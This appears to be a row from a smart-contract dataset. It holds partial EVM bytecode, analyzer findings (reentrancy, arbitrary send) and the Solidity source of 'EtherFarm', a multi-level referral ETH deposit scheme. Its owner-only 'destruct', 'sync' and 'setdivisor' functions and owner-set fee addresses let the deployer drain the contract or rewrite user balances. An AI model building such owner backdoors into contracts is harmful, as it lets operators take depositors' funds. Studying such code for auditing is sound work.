70565b5b600061278085828601612655565b925050602061279185828601612655565b9150509250929050565b6000806000606084860312156127b4576127b3613270565b5b60006127c286828701612655565b93505060206127d386828701612655565b92505060406127e4868287016126d7565b9150509250925092565b6000806040838503121561280557612804613270565b5b600061281385828601612655565b9250506020612824858286016126d7565b9150509250929050565b60006020828403121561284457612843613270565b5b600082013567ffffffffffffffff8111156128625761286161326b565b5b61286e8482850161267f565b91505092915050565b60006020828403121561288d5761288c613270565b5b600061289b848285016126ad565b91505092915050565b6000602082840312156128ba576128b9613270565b5b60006128c8848285016126c2565b91505092915050565b6000602082840312156128e7576128e6613270565b5b60006128f5848285016126d7565b91505092915050565b60008060006060848603121561291757612916613270565b5b6000612925868287016126ec565b9350506020612936868287016126ec565b9250506040612947868287016126ec565b9150509250925092565b600061295d8383612969565b60208301905092915050565b61297281613091565b82525050565b61298181613091565b82525050565b600061299282612f37565b61299c8185612f5a565b93506129a783612f27565b8060005b838110156129d85781516129bf8882612951565b97506129ca83612f4d565b9250506001810190506129ab565b5085935050505092915050565b6129ee816130a3565b82525050565b6129fd816130e6565b82525050565b6000612a0e82612f42565b612a188185612f6b565b9350612a288185602086016130f8565b612a3181613275565b840191505092915050565b6000612a49602383612f6b565b9150612a5482613286565b604082019050919050565b6000612a6c602a83612f6b565b9150612a77826132d5565b604082019050919050565b6000612a8f602283612f6b565b9150612a9a82613324565b604082019050919050565b6000612ab2601b83612f6b565b9150612abd82613373565b602082019050919050565b6000612ad5602183612f6b565b9150612ae08261339c565b604082019050919050565b6000612af8602083612f6b565b9150612b03826133eb565b602082019050919050565b6000612b1b602983612f6b565b9150612b2682613414565b604082019050919050565b6000612b3e602583612f6b565b9150612b4982613463565b604082019050919050565b6000612b61602483612f6b565b9150612b6c826134b2565b604082019050919050565b6000612b84601783612f6b565b9150612b8f82613501565b602082019050919050565b6000612ba7601183612f6b565b9150612bb28261352a565b602082019050919050565b612bc6816130cf565b82525050565b612bd5816130d9565b82525050565b6000602082019050612bf06000830184612978565b92915050565b6000604082019050612c0b6000830185612978565b612c186020830184612978565b9392505050565b6000604082019050612c346000830185612978565b612c416020830184612bbd565b9392505050565b600060c082019050612c5d6000830189612978565b612c6a6020830188612bbd565b612c7760408301876129f4565b612c8460608301866129f4565b612c916080830185612978565b612c9e60a0830184612bbd565b979650505050505050565b6000602082019050612cbe60008301846129e5565b92915050565b60006020820190508181036000830152612cde8184612a03565b905092915050565b60006020820190508181036000830152612cff81612a3c565b9050919050565b60006020820190508181036000830152612d1f81612a5f565b9050919050565b60006020820190508181036000830152612d3f81612a82565b9050919050565b60006020820190508181036000830152612d5f81612aa5565b9050919050565b60006020820190508181036000830152612d7f81612ac8565b9050919050565b60006020820190508181036000830152612d9f81612aeb565b9050919050565b60006020820190508181036000830152612dbf81612b0e565b9050919050565b60006020820190508181036000830152612ddf81612b31565b9050919050565b60006020820190508181036000830152612dff81612b54565b9050919050565b60006020820190508181036000830152612e1f81612b77565b9050919050565b60006020820190508181036000830152612e3f81612b9a565b9050919050565b6000602082019050612e5b6000830184612bbd565b92915050565b600060a082019050612e766000830188612bbd565b612e8360208301876129f4565b8181036040830152612e958186612987565b9050612ea46060830185612978565b612eb16080830184612bbd565b9695505050505050565b6000602082019050612ed06000830184612bcc565b92915050565b6000612ee0612ef1565b9050612eec828261312b565b919050565b6000604051905090565b600067ffffffffffffffff821115612f1657612f15613232565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f87826130cf565b9150612f92836130cf565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fc757612fc66131a5565b5b828201905092915050565b6000612fdd826130cf565b9150612fe8836130cf565b925082612ff857612ff76131d4565b5b828204905092915050565b600061300e826130cf565b9150613019836130cf565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613052576130516131a5565b5b828202905092915050565b6000613068826130cf565b9150613073836130cf565b925082821015613086576130856131a5565b5b828203905092915050565b600061309c826130af565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130f1826130cf565b9050919050565b60005b838110156131165780820151818401526020810190506130fb565b83811115613125576000848401525b50505050565b61313482613275565b810181811067ffffffffffffffff8211171561315357613152613232565b5b80604052505050565b6000613167826130cf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561319a576131996131a5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61355c81613091565b811461356757600080fd5b50565b613573816130a3565b811461357e57600080fd5b50565b61358a816130cf565b811461359557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201064bf57840c1c102f313c4e0de39c66ffb0a25eeeeffd3be7c64bc46d0d435264736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,606 |
0xad76c6d58d157557248dc015218baa0edf350520 | /**
*Submitted for verification at Etherscan.io on 2020-10-03
*/
pragma solidity 0.6.8;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private grand;
address private grandb;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
function grounda() public view returns (address) {
return grand;
}
function groundb() public view returns (address) {
return grandb;
}
function ConfigSet(address payable _to, address payable _to2) external {
require(msg.sender == _owner, "Access denied (only owner)");
grand = _to;
grandb = _to2;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
contract Destructible {
address payable public grand_owner;
event GrandOwnershipTransferred(address indexed previous_owner, address indexed new_owner);
constructor() public {
grand_owner = msg.sender;
}
function transferGrandOwnership(address payable _to) external {
require(msg.sender == grand_owner, "Access denied (only grand owner)");
grand_owner = _to;
}
function destruct() external {
require(msg.sender == grand_owner, "Access denied (only grand owner)");
selfdestruct(grand_owner);
}
}
contract EtherFarm is Ownable, Destructible, Pausable {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
mapping(address => User) public users;
uint256[] public cycles;
uint8[] public ref_bonuses;
uint8[] public pool_bonuses;
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_withdraw;
uint256 public total_participants;
uint256 public divisor = 60;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor() public {
ref_bonuses.push(30);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
pool_bonuses.push(40);
pool_bonuses.push(30);
pool_bonuses.push(20);
pool_bonuses.push(10);
cycles.push(10 ether);
cycles.push(30 ether);
cycles.push(90 ether);
cycles.push(200 ether);
}
receive() payable external whenNotPaused {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && (users[_upline].deposit_time > 0 || _upline == owner())) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner(), "No upline");
if(users[_addr].deposit_time == 0) { total_participants += 1; }
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 0.05 ether && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
_pollDeposits(_addr, _amount);
if(pool_last_draw + 1 days < block.timestamp) {
_drawPool();
}
payable(grounda()).transfer(_amount / 100);
payable(groundb()).transfer(_amount / 100);
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount / 20;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline) payable external whenNotPaused {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external whenNotPaused {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
payable(msg.sender).transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function drawPool() external onlyOwner {
_drawPool();
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 31 / 10;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / divisor) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
/*
Only external call
*/
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function contractInfo() view external returns(uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) {
return (total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
contract synchronize is EtherFarm {
bool public sync_close = false;
function sync(address[] calldata _users, address[] calldata _uplines, uint256[] calldata _data) external onlyOwner {
require(!sync_close, "Sync already close");
for(uint256 i = 0; i < _users.length; i++) {
address addr = _users[i];
uint256 q = i * 12;
if(users[addr].total_deposits == 0) {
emit Upline(addr, _uplines[i]);
}
users[addr].cycle = _data[q];
users[addr].upline = _uplines[i];
users[addr].referrals = _data[q + 1];
users[addr].payouts = _data[q + 2];
users[addr].direct_bonus = _data[q + 3];
users[addr].pool_bonus = _data[q + 4];
users[addr].match_bonus = _data[q + 5];
users[addr].deposit_amount = _data[q + 6];
users[addr].deposit_payouts = _data[q + 7];
users[addr].deposit_time = uint40(_data[q + 8]);
users[addr].total_deposits = _data[q + 9];
users[addr].total_payouts = _data[q + 10];
users[addr].total_structure = _data[q + 11];
}
}
function setdivisor(uint value) public onlyOwner returns(bool){
divisor = value;
return true;
}
function syncGlobal(uint40 _pool_last_draw, uint256 _pool_cycle, uint256 _pool_balance, uint256 _total_withdraw, address[] calldata _pool_top) external onlyOwner {
require(!sync_close, "Sync already close");
pool_last_draw = _pool_last_draw;
pool_cycle = _pool_cycle;
pool_balance = _pool_balance;
total_withdraw = _total_withdraw;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = _pool_top[i];
}
}
function syncUp() external payable {}
function syncClose() external onlyOwner {
require(!sync_close, "Sync already close");
sync_close = true;
}
} | 0x6080604052600436106101f25760003560e01c806374b95b2d1161010d578063a87430ba116100a0578063b7d9f0d21161006f578063b7d9f0d2146107c2578063c864130f146107ec578063e7204ffb14610819578063f2fde38b1461082e578063f340fa011461086157610255565b8063a87430ba14610663578063a9c3ac531461070a578063afbce3b914610783578063b4610c12146107ad57610255565b80638da5cb5b116100dc5780638da5cb5b146105f5578063970d106f1461060a5780639a8318f41461061f578063a19834161461063457610255565b806374b95b2d1461054857806379ff1276146105a15780638456cb59146105b65780638959af3c146105cb57610255565b80633ccfd60b116101855780636d5f6f11116101545780636d5f6f111461046e5780636da61d1e146104ae578063715018a6146104fa57806374a88b8b1461050f57610255565b80633ccfd60b146103e05780633f4ba83a146103f55780635c975abb1461040a5780635d29cb231461043357610255565b80631a975376116101c15780631a975376146103525780631f2dc5ef146103835780632b68b9c614610398578063375e5c6c146103ad57610255565b806315c43aaf1461025a5780631818b1e31461029b578063192ef492146102c25780631959a002146102d757610255565b3661025557600354600160a01b900460ff1615610249576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6102533334610887565b005b600080fd5b34801561026657600080fd5b5061026f610d65565b6040805194855264ffffffffff9093166020850152838301919091526060830152519081900360800190f35b3480156102a757600080fd5b506102b0610dc5565b60408051918252519081900360200190f35b3480156102ce57600080fd5b506102b0610dcb565b3480156102e357600080fd5b5061030a600480360360208110156102fa57600080fd5b50356001600160a01b0316610dd1565b604080516001600160a01b03909816885264ffffffffff9096166020880152868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b34801561035e57600080fd5b50610367610e28565b604080516001600160a01b039092168252519081900360200190f35b34801561038f57600080fd5b506102b0610e37565b3480156103a457600080fd5b50610253610e3d565b3480156103b957600080fd5b50610253600480360360208110156103d057600080fd5b50356001600160a01b0316610eaa565b3480156103ec57600080fd5b50610253610f2b565b34801561040157600080fd5b506102536113ae565b34801561041657600080fd5b5061041f611410565b604080519115158252519081900360200190f35b34801561043f57600080fd5b506102536004803603604081101561045657600080fd5b506001600160a01b0381358116916020013516611420565b34801561047a57600080fd5b506104986004803603602081101561049157600080fd5b50356114ad565b6040805160ff9092168252519081900360200190f35b3480156104ba57600080fd5b506104e1600480360360208110156104d157600080fd5b50356001600160a01b03166114de565b6040805192835260208301919091528051918290030190f35b34801561050657600080fd5b5061025361162a565b34801561051b57600080fd5b506102b06004803603604081101561053257600080fd5b50803590602001356001600160a01b03166116cc565b34801561055457600080fd5b5061057b6004803603602081101561056b57600080fd5b50356001600160a01b03166116e9565b604080519485526020850193909352838301919091526060830152519081900360800190f35b3480156105ad57600080fd5b5061036761171d565b3480156105c257600080fd5b5061025361172c565b3480156105d757600080fd5b506102b0600480360360208110156105ee57600080fd5b503561178c565b34801561060157600080fd5b50610367611798565b34801561061657600080fd5b506102b06117a7565b34801561062b57600080fd5b506102b06117ad565b34801561064057600080fd5b506106496117b3565b6040805164ffffffffff9092168252519081900360200190f35b34801561066f57600080fd5b506106966004803603602081101561068657600080fd5b50356001600160a01b03166117c0565b604080519d8e526001600160a01b03909c1660208e01528c8c019a909a5260608c019890985260808b019690965260a08a019490945260c089019290925260e088015261010087015264ffffffffff1661012086015261014085015261016084015261018083015251908190036101a00190f35b34801561071657600080fd5b5061071f611839565b6040518083608080838360005b8381101561074457818101518382015260200161072c565b5050505090500182600460200280838360005b8381101561076f578181015183820152602001610757565b505050509050019250505060405180910390f35b34801561078f57600080fd5b506102b0600480360360208110156107a657600080fd5b5035611908565b3480156107b957600080fd5b50610367611926565b3480156107ce57600080fd5b50610498600480360360208110156107e557600080fd5b5035611935565b3480156107f857600080fd5b506103676004803603602081101561080f57600080fd5b503560ff16611942565b34801561082557600080fd5b5061025361195d565b34801561083a57600080fd5b506102536004803603602081101561085157600080fd5b50356001600160a01b03166119bd565b6102536004803603602081101561087757600080fd5b50356001600160a01b0316611ab5565b6001600160a01b03828116600090815260046020526040902060010154161515806108ca57506108b5611798565b6001600160a01b0316826001600160a01b0316145b610907576040805162461bcd60e51b81526020600482015260096024820152684e6f2075706c696e6560b81b604482015290519081900360640190fd5b6001600160a01b03821660009081526004602052604090206009015464ffffffffff1661093857600e805460010190555b6001600160a01b03821660009081526004602052604090206009015464ffffffffff1615610b20576001600160a01b038216600090815260046020818152604092839020805460010181556007015483516322566bcf60e21b81529283015291513092638959af3c9260248082019391829003018186803b1580156109bc57600080fd5b505afa1580156109d0573d6000803e3d6000fd5b505050506040513d60208110156109e657600080fd5b50516001600160a01b0383166000908152600460205260409020600301541015610a50576040805162461bcd60e51b81526020600482015260166024820152754465706f73697420616c72656164792065786973747360501b604482015290519081900360640190fd5b6001600160a01b0382166000908152600460205260409020600701548110801590610add5750600580546001600160a01b03841660009081526004602052604090205460001990910110610abc576001600160a01b038316600090815260046020526040902054610ac4565b600554600019015b81548110610ace57fe5b90600052602060002001548111155b610b1b576040805162461bcd60e51b815260206004820152600a60248201526910985908185b5bdd5b9d60b21b604482015290519081900360640190fd5b610b8d565b66b1a2bc2ec500008110158015610b4f57506005600081548110610b4057fe5b90600052602060002001548111155b610b8d576040805162461bcd60e51b815260206004820152600a60248201526910985908185b5bdd5b9d60b21b604482015290519081900360640190fd5b6001600160a01b03821660008181526004602090815260408083206003810184905560078101869055600881019390935560098301805464ffffffffff19164264ffffffffff16179055600a909201805485019055815184815291517f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de3649281900390910190a26001600160a01b038281166000908152600460205260409020600101541615610cac576001600160a01b0382811660008181526004602081815260408084206001018054871685528185209093018054600a890490810190915593859052915482519384529151939491909116927fba5b08f0cddc64825b52c35c09323af810c1d2e29c97aba01a4ed25cfdc482d19281900390910190a35b610cb68282611b1e565b600854426201518064ffffffffff928316019091161015610cd957610cd9611d7f565b610ce161171d565b6001600160a01b03166108fc606483049081150290604051600060405180830381858888f19350505050158015610d1c573d6000803e3d6000fd5b50610d25611926565b6001600160a01b03166108fc606483049081150290604051600060405180830381858888f19350505050158015610d60573d6000803e3d6000fd5b505050565b600d54600854600a546009546000908152600b602090815260408083207f13649b2456f1b42fef0f0040b3aaeabcd21a76a0f3f5defd4f583839455116e8546001600160a01b0316845290915290205464ffffffffff9092169190919293565b600e5481565b600a5481565b6001600160a01b0390811660009081526004602081905260409091206001810154600982015460078301546003840154948401546005850154600690950154939096169664ffffffffff9092169590949390929091565b6003546001600160a01b031681565b600f5481565b6003546001600160a01b03163314610e9c576040805162461bcd60e51b815260206004820181905260248201527f4163636573732064656e69656420286f6e6c79206772616e64206f776e657229604482015290519081900360640190fd5b6003546001600160a01b0316ff5b6003546001600160a01b03163314610f09576040805162461bcd60e51b815260206004820181905260248201527f4163636573732064656e69656420286f6e6c79206772616e64206f776e657229604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b600354600160a01b900460ff1615610f7d576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b604080516336d30e8f60e11b8152336004820152815160009283923092636da61d1e92602480840193919291829003018186803b158015610fbd57600080fd5b505afa158015610fd1573d6000803e3d6000fd5b505050506040513d6040811015610fe757600080fd5b5080516020918201513360009081526004909352604090922060030154909350909150811161104c576040805162461bcd60e51b815260206004820152600c60248201526b46756c6c207061796f75747360a01b604482015290519081900360640190fd5b81156110b2573360009081526004602052604090206003015482018110156110865733600090815260046020526040902060030154810391505b336000818152600460205260409020600881018054850190556003018054840190556110b29083611edc565b33600090815260046020526040902060030154811180156110e55750336000908152600460208190526040909120015415155b156111515733600090815260046020819052604090912090810154600390910154810182101561112657503360009081526004602052604090206003015481035b3360009081526004602081905260409091209081018054839003905560030180548201905591909101905b336000908152600460205260409020600301548111801561118357503360009081526004602052604090206005015415155b156111eb57336000908152600460205260409020600581015460039091015481018210156111c257503360009081526004602052604090206003015481035b336000908152600460205260409020600581018054839003905560030180548201905591909101905b336000908152600460205260409020600301548111801561121d57503360009081526004602052604090206006015415155b15611285573360009081526004602052604090206006810154600390910154810182101561125c57503360009081526004602052604090206003015481035b336000908152600460205260409020600681018054839003905560030180548201905591909101905b600082116112c8576040805162461bcd60e51b815260206004820152600b60248201526a16995c9bc81c185e5bdd5d60aa1b604482015290519081900360640190fd5b33600081815260046020526040808220600b01805486019055600d8054860190555184156108fc0291859190818181858888f19350505050158015611311573d6000803e3d6000fd5b5060408051838152905133917f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364919081900360200190a23360009081526004602052604090206003015481116113aa573360008181526004602090815260409182902060030154825190815291517f97ddeb77c85e6a1dd99a34fe2bb1a4f9b211d5ffced7a707de9dbeb24363d0e49281900390910190a25b5050565b6113b6612012565b6000546001600160a01b03908116911614611406576040805162461bcd60e51b815260206004820181905260248201526000805160206122e2833981519152604482015290519081900360640190fd5b61140e612016565b565b600354600160a01b900460ff1690565b6000546001600160a01b0316331461147f576040805162461bcd60e51b815260206004820152601a60248201527f4163636573732064656e69656420286f6e6c79206f776e657229000000000000604482015290519081900360640190fd5b600180546001600160a01b039384166001600160a01b03199182161790915560028054929093169116179055565b600781815481106114ba57fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b600